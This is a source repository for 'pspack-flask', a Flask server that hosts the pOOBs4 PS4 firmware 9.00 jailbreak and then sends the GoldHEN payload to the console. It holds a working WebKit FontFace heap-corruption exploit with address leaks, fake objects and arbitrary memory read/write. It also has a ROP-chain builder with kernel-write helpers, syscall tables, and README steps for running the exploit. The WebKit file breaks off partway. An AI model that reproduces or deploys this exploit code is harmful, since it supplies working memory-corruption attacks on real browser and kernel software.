├── payload ├── VERSION └── goldhen.bin ├── .gitignore ├── requirements.txt ├── Dockerfile ├── static ├── logging.js ├── syscalls.js ├── int64.js └── 9.0.0 │ ├── rop.js │ ├── webkit.js │ └── kexploit.js ├── sender.py ├── README.md ├── templates └── index.html ├── app.py └── LICENSE /payload/VERSION: -------------------------------------------------------------------------------- 1 | 2.2.2 -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | venv 2 | .idea 3 | *.pyc -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | requests 3 | -------------------------------------------------------------------------------- /payload/goldhen.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mc-17/pspack-flask/HEAD/payload/goldhen.bin -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9.7-slim 2 | 3 | WORKDIR /opt 4 | 5 | EXPOSE 1337 6 | 7 | COPY requirements.txt /opt/ 8 | 9 | RUN python3 -m pip install -r requirements.txt 10 | 11 | COPY . /opt/ 12 | 13 | CMD python3 /opt/app.py 14 | -------------------------------------------------------------------------------- /static/logging.js: -------------------------------------------------------------------------------- 1 | function logMessage(msg) 2 | { 3 | const xhr = new XMLHttpRequest(); 4 | xhr.open('GET', './log/' + encodeURIComponent(msg), true); 5 | xhr.onerror = function () { 6 | alert("Failed to log: message" + msg) 7 | } 8 | xhr.send(); 9 | } -------------------------------------------------------------------------------- /static/syscalls.js: -------------------------------------------------------------------------------- 1 | // BSD syscalls 2 | const SYSCALL_CLOSE = 6; 3 | const SYSCALL_GETPID = 20; 4 | const SYSCALL_SETUID = 23; 5 | const SYSCALL_MUNMAP = 73; 6 | const SYSCALL_MPROTECT = 74; 7 | const SYSCALL_SOCKET = 97; 8 | const SYSCALL_MLOCK = 203; 9 | const SYSCALL_MUNLOCKALL = 325; 10 | const SYSCALL_KQUEUE = 362; 11 | const SYSCALL_KEVENT = 363; 12 | const SYSCALL_MMAP = 477; 13 | 14 | // PS4 syscalls 15 | const SYSCALL_sys_dynlib_load_prx = 594; 16 | const SYSCALL_sys_randomized_path = 602; 17 | const SYSCALL_sys_dynlib_get_info_ex = 608; -------------------------------------------------------------------------------- /sender.py: -------------------------------------------------------------------------------- 1 | import time 2 | import socket 3 | 4 | 5 | def send(ip, port, file): 6 | for i in range(3): 7 | print(f"Sending payload: attempt {i}...") 8 | time.sleep(1) 9 | client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, proto=0) 10 | client_socket.settimeout(3000) 11 | client_socket.connect((ip, port)) 12 | 13 | try: 14 | with open(file, "rb") as fp: 15 | client_socket.sendfile(fp) 16 | print(f"Sending payload: attempt {i} succeeded!") 17 | break 18 | except Exception as e: 19 | print(f"Attempt {i} failed with exception: {str(e)}") 20 | pass 21 | finally: 22 | client_socket.close() 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pspack-flask 2 | pOOBs4 PS4 exploit for v9.0 + automatic gold hen download + deployment 3 | 4 | ## About 5 | 6 | This is just a repacked psOOBs4, as a flask package with the addition of automatic sending of GoldHEN. Some other small changes: 7 | 8 | All credit to the team behind pOOBs4 9 | 10 | ## Setup 11 | 12 | 1. Download [Python](https://www.python.org/downloads/) and install it, ideally 3.10 13 | 2. Install flask `python3 -m pip install -r requirements.txt` 14 | 15 | ## Exploiting 16 | 17 | 1. Run app `python3 app.py`. Might need to run as root to bind to port 1337 18 | 2. GoldHEN will be downloaded automatically if out of date 19 | 3. In the command line the IP address to navigate to will be printed e.g `* Running on http://192.168.1.200:1337/ (Press CTRL+C to quit)` 20 | 4. Navigate to port 1337 on that IP on your PS4 21 | 5. Same as psOOBs4 22 | 6. GoldHEN should be sent once the server detects success via log messages 23 | 24 | ## Running in Docker 25 | 26 | 1. Run `docker build -t pspack-flask .` 27 | 2. Run `docker run --name pspack -d -p 1337:1337 pspack-flask` 28 | 29 | ## Help! It doesn't work on my machine 30 | 31 | 1. Try again 32 | 2. If you're not running 9.00, the exploit won't run. You'll need to modify [the template](https://github.com/mc-17/pspack-flask/blob/main/templates/index.html#L70) to match your version, or just remove the if/endif 33 | -------------------------------------------------------------------------------- /static/int64.js: -------------------------------------------------------------------------------- 1 | function int64(low, hi) { 2 | this.low = (low >>> 0); 3 | this.hi = (hi >>> 0); 4 | 5 | this.add32inplace = function (val) { 6 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; 7 | var new_hi = (this.hi >>> 0); 8 | 9 | if (new_lo < this.low) { 10 | new_hi++; 11 | } 12 | 13 | this.hi = new_hi; 14 | this.low = new_lo; 15 | } 16 | 17 | this.add32 = function (val) { 18 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; 19 | var new_hi = (this.hi >>> 0); 20 | 21 | if (new_lo < this.low) { 22 | new_hi++; 23 | } 24 | 25 | return new int64(new_lo, new_hi); 26 | } 27 | 28 | this.sub32 = function (val) { 29 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; 30 | var new_hi = (this.hi >>> 0); 31 | 32 | if (new_lo > (this.low) & 0xFFFFFFFF) { 33 | new_hi--; 34 | } 35 | 36 | return new int64(new_lo, new_hi); 37 | } 38 | 39 | this.sub32inplace = function (val) { 40 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; 41 | var new_hi = (this.hi >>> 0); 42 | 43 | if (new_lo > (this.low) & 0xFFFFFFFF) { 44 | new_hi--; 45 | } 46 | 47 | this.hi = new_hi; 48 | this.low = new_lo; 49 | } 50 | 51 | this.and32 = function (val) { 52 | var new_lo = this.low & val; 53 | var new_hi = this.hi; 54 | return new int64(new_lo, new_hi); 55 | } 56 | 57 | this.and64 = function (vallo, valhi) { 58 | var new_lo = this.low & vallo; 59 | var new_hi = this.hi & valhi; 60 | return new int64(new_lo, new_hi); 61 | } 62 | 63 | this.toString = function (val) { 64 | val = 16; 65 | var lo_str = (this.low >>> 0).toString(val); 66 | var hi_str = (this.hi >>> 0).toString(val); 67 | 68 | if (this.hi == 0) 69 | return lo_str; 70 | else 71 | lo_str = zeroFill(lo_str, 8) 72 | 73 | return hi_str + lo_str; 74 | } 75 | 76 | return this; 77 | } 78 | 79 | function zeroFill(number, width) { 80 | width -= number.toString().length; 81 | 82 | if (width > 0) { 83 | return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number; 84 | } 85 | 86 | return number + ""; // always return a string 87 | } 88 | 89 | function zeroFill(number, width) { 90 | width -= number.toString().length; 91 | 92 | if (width > 0) { 93 | return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number; 94 | } 95 | 96 | return number + ""; // always return a string 97 | } -------------------------------------------------------------------------------- /templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | pspack-flask 5 | 6 | 55 | 66 | 67 | 68 | 69 | 70 | {% if version == "9.00" %} 71 | 72 | 73 | 74 | {% endif %} 75 | 76 | 77 | 78 | 79 |
80 | 85 | 86 | 89 | 90 | 91 | -------------------------------------------------------------------------------- /app.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import os 3 | import time 4 | from distutils.version import LooseVersion 5 | from flask import Flask, render_template, request 6 | import fnmatch 7 | import io 8 | import requests 9 | from urllib.parse import unquote_plus 10 | import zipfile 11 | 12 | 13 | from sender import send 14 | app = Flask(__name__) 15 | 16 | 17 | def get_latest_release(output_dir: str = ""): 18 | try: 19 | if output_dir and not os.path.isdir(output_dir): 20 | os.makedirs(output_dir, mode=0o755) 21 | 22 | file_version = os.path.join(output_dir, "VERSION") 23 | 24 | releases_url = "https://api.github.com/repos/GoldHEN/GoldHEN/releases" 25 | releases = sorted(requests.get(releases_url).json(), 26 | key=lambda rls: LooseVersion(rls.get("tag_name", 0)), 27 | reverse=True) 28 | 29 | if not releases: 30 | raise ValueError("Error retrieving GoldHEN releases!") 31 | 32 | latest_release = releases[0].get("zipball_url", None) 33 | version = releases[0].get("tag_name", None) 34 | 35 | if not latest_release or not version: 36 | raise ValueError("Error getting release URL - unexpected release format!") 37 | 38 | if os.path.isfile(file_version): 39 | with open(file_version) as fp: 40 | have_version = LooseVersion(fp.read()) 41 | if have_version >= version: 42 | print(f"Version on disk ({have_version}) equal to or newer to latest ({version}") 43 | return 44 | 45 | with io.BytesIO(requests.get(latest_release).content) as zip_data: 46 | with zipfile.ZipFile(zip_data) as zf: 47 | for zip_entry in zf.filelist: 48 | if fnmatch.fnmatch(zip_entry.filename, "*goldhen_*_900.bin"): 49 | print(f"Found 9.0.0 GoldHEN: {zip_entry.filename}") 50 | with zf.open(zip_entry) as hen_read: 51 | with open(os.path.join(output_dir, "goldhen.bin"), "wb+") as hen_write: 52 | hen_write.write(hen_read.read()) 53 | print(f"Downloaded!") 54 | 55 | with open(file_version, "w+") as fp: 56 | fp.write(version) 57 | 58 | break 59 | except requests.exceptions.ConnectionError: 60 | print("Failed to download GoldHEN!") 61 | 62 | 63 | @app.route('/') 64 | def index(): 65 | ua = request.headers.get("User-Agent", None) 66 | 67 | if not ua or "playstation" not in ua.lower(): 68 | print("Not PS4") 69 | 70 | return render_template("index.html") 71 | 72 | 73 | @app.route("/log/") 74 | def log(msg): 75 | msg = unquote_plus(msg) 76 | print(msg) 77 | 78 | if "done" in msg: 79 | # success message, send HEN 80 | print(f"Sending golden hen to {request.remote_addr}") 81 | send(request.remote_addr, 9020, "payload/goldhen.bin") 82 | 83 | return "OK" 84 | 85 | 86 | @app.after_request 87 | def add_header(r): 88 | """ 89 | Add headers to both force latest IE rendering engine or Chrome Frame, 90 | and also to cache the rendered page for 10 minutes. 91 | """ 92 | r.headers["Cache-Control"] = "no-cache, no-store, must-revalidate" 93 | r.headers["Pragma"] = "no-cache" 94 | r.headers["Expires"] = "0" 95 | r.headers['Cache-Control'] = 'public, max-age=0' 96 | return r 97 | 98 | 99 | if __name__ == '__main__': 100 | args = argparse.ArgumentParser() 101 | args.add_argument("--host", required=False, type=str, default='0.0.0.0') 102 | args.add_argument("--port", required=False, type=int, default=1337) 103 | args.add_argument("--offline", default=False, action="store_true", help="Do not attempt to update GoldHEN") 104 | args.add_argument("--update", default=False, action="store_true", help="Force update GoldHEN") 105 | args = args.parse_args() 106 | 107 | fileInfo = os.stat("payload/goldhen.bin") 108 | 109 | if not args.offline: 110 | if (time.time() - fileInfo.st_mtime) > (60 * 60 * 24 * 14) or args.update: 111 | get_latest_release("payload") 112 | else: 113 | print("GoldHEN not 14 days old, not updating") 114 | 115 | app.run(host=args.host, port=args.port) 116 | -------------------------------------------------------------------------------- /static/9.0.0/rop.js: -------------------------------------------------------------------------------- 1 | const stack_sz = 0x40000; 2 | const reserve_upper_stack = 0x10000; 3 | const stack_reserved_idx = reserve_upper_stack / 4; 4 | 5 | 6 | // Class for quickly creating and managing a ROP chain 7 | window.rop = function () { 8 | this.stackback = p.malloc32(stack_sz / 4 + 0x8); 9 | this.stack = this.stackback.add32(reserve_upper_stack); 10 | this.stack_array = this.stackback.backing; 11 | this.retval = this.stackback.add32(stack_sz); 12 | this.count = 1; 13 | this.branches_count = 0; 14 | this.branches_rsps = p.malloc(0x200); 15 | 16 | this.clear = function () { 17 | this.count = 1; 18 | this.branches_count = 0; 19 | 20 | for (var i = 1; i < ((stack_sz / 4) - stack_reserved_idx); i++) { 21 | this.stack_array[i + stack_reserved_idx] = 0; 22 | } 23 | }; 24 | 25 | this.pushSymbolic = function () { 26 | this.count++; 27 | return this.count - 1; 28 | } 29 | 30 | this.finalizeSymbolic = function (idx, val) { 31 | if (val instanceof int64) { 32 | this.stack_array[stack_reserved_idx + idx * 2] = val.low; 33 | this.stack_array[stack_reserved_idx + idx * 2 + 1] = val.hi; 34 | } else { 35 | this.stack_array[stack_reserved_idx + idx * 2] = val; 36 | this.stack_array[stack_reserved_idx + idx * 2 + 1] = 0; 37 | } 38 | } 39 | 40 | this.push = function (val) { 41 | this.finalizeSymbolic(this.pushSymbolic(), val); 42 | } 43 | 44 | this.push_write8 = function (where, what) { 45 | this.push(gadgets["pop rdi"]); 46 | this.push(where); 47 | this.push(gadgets["pop rsi"]); 48 | this.push(what); 49 | this.push(gadgets["mov [rdi], rsi"]); 50 | } 51 | 52 | this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9) { 53 | if (rdi != undefined) { 54 | this.push(gadgets["pop rdi"]); 55 | this.push(rdi); 56 | } 57 | 58 | if (rsi != undefined) { 59 | this.push(gadgets["pop rsi"]); 60 | this.push(rsi); 61 | } 62 | 63 | if (rdx != undefined) { 64 | this.push(gadgets["pop rdx"]); 65 | this.push(rdx); 66 | } 67 | 68 | if (rcx != undefined) { 69 | this.push(gadgets["pop rcx"]); 70 | this.push(rcx); 71 | } 72 | 73 | if (r8 != undefined) { 74 | this.push(gadgets["pop r8"]); 75 | this.push(r8); 76 | } 77 | 78 | if (r9 != undefined) { 79 | this.push(gadgets["pop r9"]); 80 | this.push(r9); 81 | } 82 | 83 | if (this.stack.add32(this.count * 0x8).low & 0x8) { 84 | this.push(gadgets["ret"]); 85 | } 86 | 87 | this.push(rip); 88 | return this; 89 | } 90 | 91 | this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9) { 92 | this.fcall(rip, rdi, rsi, rdx, rcx, r8, r9); 93 | this.write_result(this.retval); 94 | this.run(); 95 | return p.read8(this.retval); 96 | } 97 | 98 | this.syscall = function (sysc, rdi, rsi, rdx, rcx, r8, r9) { 99 | return this.call(window.syscalls[sysc], rdi, rsi, rdx, rcx, r8, r9); 100 | } 101 | 102 | //get rsp of the next push 103 | this.get_rsp = function () { 104 | return this.stack.add32(this.count * 8); 105 | } 106 | this.write_result = function (where) { 107 | this.push(gadgets["pop rdi"]); 108 | this.push(where); 109 | this.push(gadgets["mov [rdi], rax"]); 110 | } 111 | this.write_result4 = function (where) { 112 | this.push(gadgets["pop rdi"]); 113 | this.push(where); 114 | this.push(gadgets["mov [rdi], eax"]); 115 | } 116 | 117 | this.jmp_rsp = function (rsp) { 118 | this.push(window.gadgets["pop rsp"]); 119 | this.push(rsp); 120 | } 121 | 122 | this.run = function () { 123 | p.launch_chain(this); 124 | this.clear(); 125 | } 126 | 127 | this.KERNEL_BASE_PTR_VAR; 128 | this.set_kernel_var = function (arg) { 129 | this.KERNEL_BASE_PTR_VAR = arg; 130 | } 131 | 132 | this.rax_kernel = function (offset) { 133 | this.push(gadgets["pop rax"]); 134 | this.push(this.KERNEL_BASE_PTR_VAR) 135 | this.push(gadgets["mov rax, [rax]"]); 136 | this.push(gadgets["pop rsi"]); 137 | this.push(offset) 138 | this.push(gadgets["add rax, rsi"]); 139 | } 140 | 141 | this.write_kernel_addr_to_chain_later = function (offset) { 142 | this.push(gadgets["pop rdi"]); 143 | var idx = this.pushSymbolic(); 144 | this.rax_kernel(offset); 145 | this.push(gadgets["mov [rdi], rax"]); 146 | return idx; 147 | } 148 | 149 | this.kwrite8 = function (offset, qword) { 150 | this.rax_kernel(offset); 151 | this.push(gadgets["pop rsi"]); 152 | this.push(qword); 153 | this.push(gadgets["mov [rax], rsi"]); 154 | } 155 | 156 | this.kwrite4 = function (offset, dword) { 157 | this.rax_kernel(offset); 158 | this.push(gadgets["pop rdx"]); 159 | this.push(dword); 160 | this.push(gadgets["mov [rax], edx"]); 161 | } 162 | 163 | this.kwrite2 = function (offset, word) { 164 | this.rax_kernel(offset); 165 | this.push(gadgets["pop rcx"]); 166 | this.push(word); 167 | this.push(gadgets["mov [rax], cx"]); 168 | } 169 | 170 | this.kwrite1 = function (offset, byte) { 171 | this.rax_kernel(offset); 172 | this.push(gadgets["pop rcx"]); 173 | this.push(byte); 174 | this.push(gadgets["mov [rax], cl"]); 175 | } 176 | 177 | this.kwrite8_kaddr = function (offset1, offset2) { 178 | this.rax_kernel(offset2); 179 | this.push(gadgets["mov rdx, rax"]); 180 | this.rax_kernel(offset1); 181 | this.push(gadgets["mov [rax], rdx"]); 182 | } 183 | return this; 184 | }; -------------------------------------------------------------------------------- /static/9.0.0/webkit.js: -------------------------------------------------------------------------------- 1 | var PAGE_SIZE = 16384; 2 | var SIZEOF_CSS_FONT_FACE = 0xb8; 3 | var HASHMAP_BUCKET = 208; 4 | var STRING_OFFSET = 20; 5 | var SPRAY_FONTS = 0x100a; 6 | var GUESS_FONT = 0x200430000; 7 | var NPAGES = 20; 8 | var INVALID_POINTER = 0; 9 | var HAMMER_FONT_NAME = "font8"; //must take bucket 3 of 8 (counting from zero) 10 | var HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time 11 | 12 | function poc() { 13 | 14 | var union = new ArrayBuffer(8); 15 | var union_b = new Uint8Array(union); 16 | var union_i = new Uint32Array(union); 17 | var union_f = new Float64Array(union); 18 | 19 | var bad_fonts = []; 20 | 21 | for (var i = 0; i < SPRAY_FONTS; i++) 22 | bad_fonts.push(new FontFace("font1", "", {})); 23 | 24 | var good_font = new FontFace("font2", "url(data:text/html,)", {}); 25 | bad_fonts.push(good_font); 26 | 27 | var arrays = []; 28 | for (var i = 0; i < 512; i++) 29 | arrays.push(new Array(31)); 30 | 31 | arrays[256][0] = 1.5; 32 | arrays[257][0] = {}; 33 | arrays[258][0] = 1.5; 34 | 35 | var jsvalue = { 36 | a: arrays[256], 37 | b: new Uint32Array(1), 38 | c: true 39 | }; 40 | 41 | var string_atomifier = {}; 42 | var string_id = 10000000; 43 | 44 | function ptrToString(p) { 45 | var s = ''; 46 | for (var i = 0; i < 8; i++) { 47 | s += String.fromCharCode(p % 256); 48 | p = (p - p % 256) / 256; 49 | } 50 | return s; 51 | } 52 | 53 | function stringToPtr(p, o) { 54 | if (o === undefined) 55 | o = 0; 56 | var ans = 0; 57 | for (var i = 7; i >= 0; i--) 58 | ans = 256 * ans + p.charCodeAt(o + i); 59 | return ans; 60 | } 61 | 62 | var strings = []; 63 | 64 | function mkString(l, head) { 65 | var s = head + '\u0000'.repeat(l - STRING_OFFSET - 8 - head.length) + (string_id++); 66 | string_atomifier[s] = 1; 67 | strings.push(s); 68 | return s; 69 | } 70 | 71 | var guf = GUESS_FONT; 72 | var ite = true; 73 | var matches = 0; 74 | 75 | var round = 0; 76 | 77 | window.ffses = {}; 78 | 79 | do { 80 | 81 | var p_s = ptrToString(NPAGES + 2); // vector.size() 82 | for (var i = 0; i < NPAGES; i++) 83 | p_s += ptrToString(guf + i * PAGE_SIZE); 84 | p_s += ptrToString(INVALID_POINTER); 85 | 86 | for (var i = 0; i < 256; i++) 87 | mkString(HASHMAP_BUCKET, p_s); 88 | 89 | var ffs = ffses["search_" + (++round)] = new FontFaceSet(bad_fonts); 90 | 91 | var badstr1 = mkString(HASHMAP_BUCKET, p_s); 92 | 93 | var guessed_font = null; 94 | var guessed_addr = null; 95 | 96 | for (var i = 0; i < SPRAY_FONTS; i++) { 97 | bad_fonts[i].family = "search" + round; 98 | if (badstr1.substr(0, p_s.length) != p_s) { 99 | guessed_font = i; 100 | var p_s1 = badstr1.substr(0, p_s.length); 101 | for (var i = 1; i <= NPAGES; i++) { 102 | if (p_s1.substr(i * 8, 8) != p_s.substr(i * 8, 8)) { 103 | guessed_addr = stringToPtr(p_s.substr(i * 8, 8)); 104 | break; 105 | } 106 | } 107 | if (matches++ == 0) { 108 | guf = guessed_addr + 2 * PAGE_SIZE; 109 | guessed_addr = null; 110 | } 111 | break; 112 | } 113 | } 114 | 115 | if ((ite = !ite)) 116 | guf += NPAGES * PAGE_SIZE; 117 | 118 | } 119 | while (guessed_addr === null); 120 | 121 | var p_s = ''; 122 | p_s += ptrToString(26); 123 | p_s += ptrToString(guessed_addr); 124 | p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE); 125 | for (var i = 0; i < 19; i++) 126 | p_s += ptrToString(INVALID_POINTER); 127 | 128 | for (var i = 0; i < 256; i++) 129 | mkString(HASHMAP_BUCKET, p_s); 130 | 131 | var needfix = []; 132 | for (var i = 0;; i++) { 133 | ffses["ffs_leak_" + i] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]); 134 | var badstr2 = mkString(HASHMAP_BUCKET, p_s); 135 | needfix.push(mkString(HASHMAP_BUCKET, p_s)); 136 | bad_fonts[guessed_font].family = "evil2"; 137 | bad_fonts[guessed_font + 1].family = "evil3"; 138 | var leak = stringToPtr(badstr2.substr(badstr2.length - 8)); 139 | if (leak < 0x1000000000000) 140 | break; 141 | } 142 | 143 | function makeReader(read_addr, ffs_name) { 144 | var fake_s = ''; 145 | fake_s += '0000'; //padding for 8-byte alignment 146 | fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff 147 | fake_s += ptrToString(read_addr); //where to read from 148 | fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit 149 | p_s = ''; 150 | p_s += ptrToString(29); 151 | p_s += ptrToString(guessed_addr); 152 | p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE); 153 | p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE); 154 | for (var i = 0; i < 18; i++) 155 | p_s += ptrToString(INVALID_POINTER); 156 | for (var i = 0; i < 256; i++) 157 | mkString(HASHMAP_BUCKET, p_s); 158 | var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], bad_fonts[guessed_font + 2], good_font]); 159 | mkString(HASHMAP_BUCKET, p_s); 160 | var relative_read = mkString(HASHMAP_BUCKET, fake_s); 161 | bad_fonts[guessed_font].family = ffs_name + "_evil1"; 162 | bad_fonts[guessed_font + 1].family = ffs_name + "_evil2"; 163 | bad_fonts[guessed_font + 2].family = ffs_name + "_evil3"; 164 | needfix.push(relative_read); 165 | if (relative_read.length < 1000) //failed 166 | return makeReader(read_addr, ffs_name + '_'); 167 | return relative_read; 168 | } 169 | 170 | var fastmalloc = makeReader(leak, 'ffs3'); //read from leaked string ptr 171 | 172 | for (var i = 0; i < 100000; i++) 173 | mkString(128, ''); 174 | 175 | var props = []; 176 | for (var i = 0; i < 0x10000; i++) { 177 | props.push({ 178 | value: 0x41434442 179 | }); 180 | props.push({ 181 | value: jsvalue 182 | }); 183 | } 184 | 185 | var jsvalue_leak = null; 186 | 187 | while (jsvalue_leak === null) { 188 | Object.defineProperties({}, props); 189 | for (var i = 0;; i++) { 190 | if (fastmalloc.charCodeAt(i) == 0x42 && 191 | fastmalloc.charCodeAt(i + 1) == 0x44 && 192 | fastmalloc.charCodeAt(i + 2) == 0x43 && 193 | fastmalloc.charCodeAt(i + 3) == 0x41 && 194 | fastmalloc.charCodeAt(i + 4) == 0 && 195 | fastmalloc.charCodeAt(i + 5) == 0 && 196 | fastmalloc.charCodeAt(i + 6) == 254 && 197 | fastmalloc.charCodeAt(i + 7) == 255 && 198 | fastmalloc.charCodeAt(i + 24) == 14 199 | ) { 200 | jsvalue_leak = stringToPtr(fastmalloc, i + 32); 201 | break; 202 | } 203 | } 204 | } 205 | 206 | var rd_leak = makeReader(jsvalue_leak, 'ffs4'); 207 | var array256 = stringToPtr(rd_leak, 16); //arrays[256] 208 | var ui32a = stringToPtr(rd_leak, 24); //Uint32Array 209 | 210 | var rd_arr = makeReader(array256, 'ffs5'); 211 | var butterfly = stringToPtr(rd_arr, 8); 212 | 213 | var rd_ui32 = makeReader(ui32a, 'ffs6'); 214 | for (var i = 0; i < 8; i++) 215 | union_b[i] = rd_ui32.charCodeAt(i); 216 | 217 | var structureid_low = union_i[0]; 218 | var structureid_high = union_i[1]; 219 | 220 | //setup for addrof/fakeobj 221 | //in array[256] butterfly: 0 = &bad_fonts[guessed_font+12] as double 222 | //in array[257] butterfly: 0 = {0x10000, 0x10000} as jsvalue 223 | union_i[0] = 0x10000; 224 | union_i[1] = 0; //account for nan-boxing 225 | arrays[257][1] = {}; //force it to still be jsvalue-array not double-array 226 | arrays[257][0] = union_f[0]; 227 | union_i[0] = (guessed_addr + 12 * SIZEOF_CSS_FONT_FACE) | 0; 228 | union_i[1] = (guessed_addr - guessed_addr % 0x100000000) / 0x100000000; 229 | arrays[256][i] = union_f[0]; 230 | 231 | //hammer time! 232 | 233 | pp_s = ''; 234 | pp_s += ptrToString(56); 235 | for (var i = 0; i < 12; i++) 236 | pp_s += ptrToString(guessed_addr + i * SIZEOF_CSS_FONT_FACE); 237 | 238 | var fake_s = ''; 239 | fake_s += '0000'; //padding for 8-byte alignment 240 | fake_s += ptrToString(INVALID_POINTER); //never dereferenced 241 | fake_s += ptrToString(butterfly); //hammer target 242 | fake_s += '\u0000\u0000\u0000\u0000\u0022\u0000\u0000\u0000'; //length=34 243 | 244 | var ffs7_args = []; 245 | for (var i = 0; i < 12; i++) 246 | ffs7_args.push(bad_fonts[guessed_font + i]); 247 | ffs7_args.push(good_font); 248 | 249 | var ffs8_args = [bad_fonts[guessed_font + 12]]; 250 | for (var i = 0; i < 5; i++) 251 | ffs8_args.push(new FontFace(HAMMER_FONT_NAME, "url(data:text/html,)", {})); 252 | 253 | for (var i = 0; i < HAMMER_NSTRINGS; i++) 254 | mkString(HASHMAP_BUCKET, pp_s); 255 | 256 | ffses.ffs7 = new FontFaceSet(ffs7_args); 257 | mkString(HASHMAP_BUCKET, pp_s); 258 | ffses.ffs8 = new FontFaceSet(ffs8_args); 259 | var post_ffs = mkString(HASHMAP_BUCKET, fake_s); 260 | needfix.push(post_ffs); 261 | 262 | for (var i = 0; i < 13; i++) 263 | bad_fonts[guessed_font + i].family = "hammer" + i; 264 | 265 | function boot_addrof(obj) { 266 | arrays[257][32] = obj; 267 | union_f[0] = arrays[258][0]; 268 | return union_i[1] * 0x100000000 + union_i[0]; 269 | } 270 | 271 | function boot_fakeobj(addr) { 272 | union_i[0] = addr; 273 | union_i[1] = (addr - addr % 0x100000000) / 0x100000000; 274 | arrays[258][0] = union_f[0]; 275 | return arrays[257][32]; 276 | } 277 | 278 | //craft misaligned typedarray 279 | 280 | var arw_master = new Uint32Array(8); 281 | var arw_slave = new Uint8Array(1); 282 | var obj_master = new Uint32Array(8); 283 | var obj_slave = { 284 | obj: null 285 | }; 286 | 287 | var addrof_slave = boot_addrof(arw_slave); 288 | var addrof_obj_slave = boot_addrof(obj_slave); 289 | union_i[0] = structureid_low; 290 | union_i[1] = structureid_high; 291 | union_b[6] = 7; 292 | var obj = { 293 | jscell: union_f[0], 294 | butterfly: true, 295 | buffer: arw_master, 296 | size: 0x5678 297 | }; 298 | 299 | function i48_put(x, a) { 300 | a[4] = x | 0; 301 | a[5] = (x / 4294967296) | 0; 302 | } 303 | 304 | function i48_get(a) { 305 | return a[4] + a[5] * 4294967296; 306 | } 307 | 308 | window.addrof = function (x) { 309 | obj_slave.obj = x; 310 | return i48_get(obj_master); 311 | } 312 | 313 | window.fakeobj = function (x) { 314 | i48_put(x, obj_master); 315 | return obj_slave.obj; 316 | } 317 | 318 | function read_mem_setup(p, sz) { 319 | i48_put(p, arw_master); 320 | arw_master[6] = sz; 321 | } 322 | 323 | window.read_mem = function (p, sz) { 324 | read_mem_setup(p, sz); 325 | var arr = []; 326 | for (var i = 0; i < sz; i++) 327 | arr.push(arw_slave[i]); 328 | return arr; 329 | }; 330 | 331 | window.write_mem = function (p, data) { 332 | read_mem_setup(p, data.length); 333 | for (var i = 0; i < data.length; i++) 334 | arw_slave[i] = data[i]; 335 | }; 336 | 337 | window.read_ptr_at = function (p) { 338 | var ans = 0; 339 | var d = read_mem(p, 8); 340 | for (var i = 7; i >= 0; i--) 341 | ans = 256 * ans + d[i]; 342 | return ans; 343 | }; 344 | 345 | window.write_ptr_at = function (p, d) { 346 | var arr = []; 347 | for (var i = 0; i < 8; i++) { 348 | arr.push(d & 0xff); 349 | d /= 256; 350 | } 351 | write_mem(p, arr); 352 | }; 353 | 354 | (function () { 355 | var magic = boot_fakeobj(boot_addrof(obj) + 16); 356 | magic[4] = addrof_slave; 357 | magic[5] = (addrof_slave - addrof_slave % 0x100000000) / 0x100000000; 358 | obj.buffer = obj_master; 359 | magic[4] = addrof_obj_slave; 360 | magic[5] = (addrof_obj_slave - addrof_obj_slave % 0x100000000) / 0x100000000; 361 | magic = null; 362 | })(); 363 | 364 | //fix fucked objects to stabilize webkit 365 | 366 | (function () { 367 | //fix fontfaceset (memmoved 96 bytes to low, move back) 368 | var ffs_addr = read_ptr_at(addrof(post_ffs) + 8) - 208; 369 | write_mem(ffs_addr, read_mem(ffs_addr - 96, 208)); 370 | //fix strings (restore "valid") header 371 | for (var i = 0; i < needfix.length; i++) { 372 | var addr = read_ptr_at(addrof(needfix[i]) + 8); 373 | write_ptr_at(addr, (HASHMAP_BUCKET - 20) * 0x100000000 + 1); 374 | write_ptr_at(addr + 8, addr + 20); 375 | write_ptr_at(addr + 16, 0x80000014); 376 | } 377 | //fix array butterfly 378 | write_ptr_at(butterfly + 248, 0x1f0000001f); 379 | })(); 380 | 381 | //^ @sleirs' stuff. anything pre arb rw is magic, I'm happy I don't have to deal with that. 382 | 383 | //create compat stuff for kexploit.js 384 | var expl_master = new Uint32Array(8); 385 | var expl_slave = new Uint32Array(2); 386 | var addrof_expl_slave = addrof(expl_slave); 387 | var m = fakeobj(addrof(obj) + 16); 388 | obj.buffer = expl_slave; 389 | m[7] = 1; 390 | obj.buffer = expl_master; 391 | m[4] = addrof_expl_slave; 392 | m[5] = (addrof_expl_slave - addrof_expl_slave % 0x100000000) / 0x100000000; 393 | m[7] = 1; 394 | 395 | var prim = { 396 | write8: function (addr, value) { 397 | expl_master[4] = addr.low; 398 | expl_master[5] = addr.hi; 399 | if (value instanceof int64) { 400 | expl_slave[0] = value.low; 401 | expl_slave[1] = value.hi; 402 | } else { 403 | expl_slave[0] = value; 404 | 